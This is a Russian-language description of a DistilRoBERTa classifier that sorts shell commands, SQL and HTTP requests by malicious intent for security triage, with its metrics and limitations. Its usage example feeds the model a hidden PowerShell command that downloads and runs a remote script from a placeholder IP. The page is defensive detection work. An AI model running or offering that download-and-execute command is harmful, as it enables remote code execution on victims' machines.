Script Intent Classifier (DistilRoBERTa)
классификатор намерений для командной строки
2 мин чтенияобновлено
Модель предназначена для анализа командной строки, скриптов, SQL-запросов и HTTP-запросов с целью определения их скрытого намерения (например, легитимная активность, разведка, сбор учетных данных, обратный шелл, закрепление, загрузка полезной нагрузки или SQL-инъекция). Базируется на архитектуре distilbert/distilroberta-base (82M параметров) от автора DaveyD347. Инструмент используется как сигнал для приоритизации телеметрии процессов, истории шеллов, логов EDR и WAF, помогая аналитикам быстрее понять подозрительные команды. Модель пригодится специалистам по информационной безопасности и разработчикам систем обнаружения угроз.
Ключевые особенности
- Распознавание 7 категорий намерений: от рутинной административной работы до атак типа SQL-инъекций и обратных шеллов.
- Обучение на синтетических данных (11,760 строк) с использованием строгой оценки на независимом шаблонизированном тесте.
- Быстрый запуск через стандартный пайплайн библиотеки transformers.
- Покрытие основных сред: bash, PowerShell, командная строка Windows, SQL и URL-запросы.
Что можно сделать
- Интегрировать модель в SIEM-системы или пайплайны анализа логов для приоритизации алертов безопасности.
- Использовать в качестве вспомогательного инструмента для классификации команд в скриптах автоматизации.
- Применять для обучения и прототипирования систем обнаружения угроз на базе трансформеров.
Пример
from transformers import pipeline
clf = pipeline("text-classification", model="DaveyD347/script-intent-distilroberta", top_k=3)
clf("powershell -nop -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('[http://203.0.113.5/a.ps1](http://203.0.113.5/a.ps1)')\"")
# [{'label': 'download_execute', ...}, ...]
clf("sudo systemctl restart nginx")
# [{'label': 'benign', ...}, ...]
Подробнее
Метрики и ограничения модели:• Точность на тестовом сплите: 78.0%, на challenge-наборе: 75.3%.
• Макросреднее значение F1: 0.778 (тест) и 0.756 (challenge).
• Ограничения: не является самостоятельным средством блокировки из-за ложных срабатываний (22.5% FP на легитимных шаблонах), обрабатывает одиночные команды до 128 токенов.
• Обучение: 2 эпохи, learning rate 5e-5, батч 32, около 36 минут на 4 CPU ядрах.










Комментарии